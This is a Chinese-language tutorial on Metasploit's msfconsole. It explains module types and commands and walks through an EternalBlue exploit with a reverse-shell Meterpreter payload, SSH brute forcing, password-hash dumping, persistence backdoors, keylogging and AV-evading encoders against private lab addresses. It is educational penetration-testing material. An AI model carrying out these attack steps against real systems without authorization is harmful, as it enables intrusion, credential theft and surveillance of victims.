Metasploit Framework的msfconsole是一個功能強大的滲透測試框架,核心在於其模塊化結構。你可以通過組合不同的模塊,構建完整的測試流程。下表概述了其核心模塊類型及典型用途:
|
模塊類型 |
主要功能 |
典型應用場景舉例 |
常用命令/關鍵詞 |
|
輔助模塊 (Auxiliary) |
信息收集、掃描、拒絕服務攻擊等。 |
端口掃描、服務指紋識別、弱口令爆破。 |
auxiliary/scanner/ |
|
滲透攻擊模塊 (Exploit) |
利用特定漏洞獲得目標系統初始訪問權限。 |
攻擊已知漏洞的Samba、VSFTPD服務。 |
exploit/ |
|
攻擊載荷 (Payload) |
在成功滲透後,在目標系統上運行的代碼。 |
獲取反向Shell(reverse_tcp)、Meterpreter高級控制。 |
set payload |
|
編碼器 (Encoder) |
對攻擊載荷進行編碼,以繞過殺毒軟件(AV)檢測。 |
在生成木馬文件前對載荷進行多重編碼。 |
msfvenom -e |
|
後滲透模塊 (Post) |
在已控制目標後,進行信息收集、權限提升、內網移動等。 |
檢查是否為虛擬機、獲取密碼哈希、安裝後門。 |
post/ |
Metasploit Framework(簡稱 MSF)是業界最著名的開源滲透測試平台之一,由 Rapid7 維護。msfconsole 是其命令行交互式界面,功能強大、模塊豐富,廣泛用於漏洞利用、後滲透、信息收集等任務。
以下是對 msfconsole 的超詳細使用説明,包括核心概念、常用命令、各功能模塊詳解及實戰示例。
一、基本概念
1. Metasploit 模塊類型
- Exploit(漏洞利用模塊):利用目標系統中的漏洞執行代碼。
- Payload(載荷):在成功利用後執行的代碼,如反彈 shell、Meterpreter 等。
- Auxiliary(輔助模塊):用於掃描、枚舉、DoS、嗅探等非直接攻擊任務。
- Post(後滲透模塊):在獲得會話後執行的提權、信息收集、持久化等操作。
- Encoder(編碼器):對 payload 進行編碼以繞過 AV/IDS。
- NOP(空指令生成器):用於堆棧溢出等場景。
- Evasion(規避模塊):生成可繞過殺毒軟件的惡意文件(較新版本支持)。
二、啓動 msfconsole
bash
編輯
msfconsole
首次啓動會加載數據庫(建議配置 PostgreSQL 以啓用數據庫功能)。
三、常用全局命令(在 msfconsole 中)
表格
|
命令 |
功能 |
|
help 或 ? |
顯示幫助 |
|
show exploits |
列出所有 exploit 模塊 |
|
show auxiliary |
列出輔助模塊 |
|
show payloads |
列出可用 payload |
|
show options |
顯示當前模塊所需參數 |
|
use <module> |
加載指定模塊(如 use exploit/windows/smb/ms17_010_eternalblue) |
|
set <OPTION> <VALUE> |
設置模塊參數 |
|
unset <OPTION> |
取消設置 |
|
setg <OPTION> <VALUE> |
全局設置(所有模塊共享) |
|
getg |
查看全局變量 |
|
info <module> |
查看模塊詳細信息 |
|
search <keyword> |
搜索模塊(支持 CVE、平台、類型等) |
|
jobs |
查看後台任務 |
|
sessions |
查看已建立的會話 |
|
exit / quit |
退出 |
四、核心模塊詳解
1. Exploit 模塊使用流程
示例:利用 EternalBlue (MS17-010)
bash
編輯
msf6 > search ms17_010
# 選擇 exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 查看選項
msf6 > show options
# 設置必要參數
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
# 執行攻擊
msf6 > exploit
成功後將獲得一個 Meterpreter 會話。
2. Payload 類型説明
- Staged vs Stageless
- Staged(分階段):先傳小 stub,再下載完整 payload(如 windows/meterpreter/reverse_tcp)
- Stageless(無階段):一次性傳輸完整 payload(如 windows/x64/meterpreter_reverse_tcp)
- 常見 Payload
- cmd/unix/reverse_netcat:簡單反向 shell(Unix)
- windows/shell/reverse_tcp:Windows 命令行 shell
- windows/meterpreter/reverse_https:加密通信的高級後滲透 shell
3. Auxiliary(輔助)模塊
用於信息收集或漏洞探測,不直接執行 payload。
示例:SMB 版本掃描
bash
編輯
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run
其他常用輔助模塊:
- scanner/portscan/tcp:TCP 端口掃描
- scanner/http/dir_scanner:目錄爆破
- scanner/ssh/ssh_login:SSH 暴力破解
- admin/http/tomcat_administration:Tomcat 後台爆破
4. Post(後滲透)模塊
在已有 Meterpreter 會話中使用。
bash
編輯
msf6 > sessions -i 1 # 進入會話 1
meterpreter > sysinfo # 查看系統信息
# 返回 msfconsole 後運行 post 模塊
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > set SESSION 1
msf6 > run
常用 Post 模塊:
- post/windows/manage/enable_rdp:開啓遠程桌面
- post/windows/gather/hashdump:導出 SAM 哈希
- post/multi/recon/local_exploit_suggester:本地提權建議
- post/windows/manage/persistence:添加持久化後門
5. Meterpreter 高級 Shell
Meterpreter 是 Metasploit 最強大的 payload,內存駐留、加密通信、可擴展。
常用 Meterpreter 命令:
表格
|
命令 |
功能 |
|
sysinfo |
系統信息 |
|
getuid |
當前用户 |
|
ps |
進程列表 |
|
migrate <PID> |
遷移到其他進程(防崩潰) |
|
shell |
獲取系統 shell |
|
download / upload |
文件傳輸 |
|
screenshot |
截圖 |
|
webcam_list / webcam_snap |
調用攝像頭 |
|
keyscan_start / keyscan_dump |
鍵盤記錄 |
|
run post/windows/manage/migrate |
自動遷移到 explorer.exe |
五、數據庫集成(強烈推薦)
Metasploit 支持 PostgreSQL 數據庫存儲掃描結果、主機信息等。
初始化數據庫(Kali Linux 默認已配置):
bash
編輯
sudo systemctl start postgresql
sudo msfdb init
在 msfconsole 中驗證:
bash
編輯
msf6 > db_status
[*] Connected to msf
導入 Nmap 掃描結果:
bash
編輯
msf6 > db_import /path/to/scan.xml
msf6 > hosts
msf6 > services
六、資源腳本(自動化)
可編寫 .rc 腳本實現自動化滲透。
example.rc:
rc
編輯
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
運行:
bash
編輯
msfconsole -r example.rc
七、安全與法律提醒 ⚠️
- 僅限授權測試:未經授權的滲透測試屬於違法行為。
- 實驗環境隔離:建議在虛擬機(如 VMware + NAT 網絡)中練習。
- 更新 MSF:定期運行 msfupdate 獲取最新漏洞模塊。
八、學習資源推薦
- 官方文檔:https://docs.metasploit.com/
- Metasploit Unleashed(免費課程):https://www.offensive-security.com/metasploit-unleashed/
- 書籍:《Metasploit: The Penetration Tester’s Guide》